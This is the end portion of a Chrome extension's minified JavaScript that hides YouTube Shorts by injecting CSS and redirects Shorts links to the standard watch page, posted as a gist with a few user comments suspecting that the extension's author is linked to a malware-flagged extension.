function mt(t, e, r) {
if (t.url.startsWith("https://www.youtube.com/watch")) {
var n = ["assets/recommended_shorts.css"];
r && K(e, n), r || Q(e, n);
}
}
function dt(t, e, r) {
if (t.url.startsWith("https://www.youtube.com/")) {
var n = ["assets/notification_shorts.css"];
r && K(e, n), r || Q(e, n);
}
}
function bt(t, e, r) {
if (
ot.some(function (e) {
return t.url.startsWith(e);
})
) {
var n = ["assets/home_tab_shorts.css"];
r && K(e, n), r || Q(e, n);
}
}
function vt(t, e, r) {
if (
ot.some(function (e) {
return t.url.startsWith(e);
})
) {
var n = ["assets/channel_shorts_tab.css"];
r
? (chrome.scripting
.executeScript({
function: function () {
var t = 0;
!(function e() {
if (t >= 25) t = 0;
else {
var r = document.querySelectorAll(".tab-content"),
n = Array.from(r).filter(function (t) {
return "Shorts" === t.textContent.replace(/\s/g, "").replace(/\n/g, "");
});
n.length > 0
? (n.forEach(function (t) {
t.parentNode.style.display = "none";
}),
(t = 0))
: (t++, setTimeout(e, 100));
}
})();
},
target: { tabId: e },
})
.catch(function (t) {}),
K(e, n))
: (setTimeout(function () {
K(e, ["assets/channel_shorts_unhide.css"]);
}, 500),
chrome.scripting
.executeScript({
function: function () {
var t = 0;
!(function e() {
if (t >= 25) t = 0;
else {
var r = document.querySelectorAll(".tab-content"),
n = Array.from(r).filter(function (t) {
return "Shorts" === t.textContent.replace(/\s/g, "").replace(/\n/g, "");
});
n.length > 0
? (n.forEach(function (t) {
t.parentNode.style.display = "inline-flex";
}),
(t = 0))
: (t++, setTimeout(e, 100));
}
})();
},
target: { tabId: e },
})
.catch(function (t) {}),
Q(e, n));
}
}
function yt(t, e, r) {
if (t.url.startsWith("https://www.youtube.com/shorts/") || t.url.startsWith("https://m.youtube.com/shorts/")) {
var n = (a = t.url.match(/\/shorts\/([^/]+)/)) ? a[1] : null;
if (n && r) {
var o = "https://youtube.com/watch?v=".concat(n);
chrome.tabs.update(e, { url: o });
}
}
var a;
}
})();
})();
@ask-compu
Copy link

just use a tampermonkey script, why mess around with this nonsense?

@tuckner
Copy link

tuckner commented Nov 4, 2024

Maybe tampermonkey changes owners someday 🤣

@acave-solweb
Copy link

Something about that shilop...

Another extension was removed for malware today, associated to [email protected] ArshSB/DarkPDF#13

Something about shilop indeed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment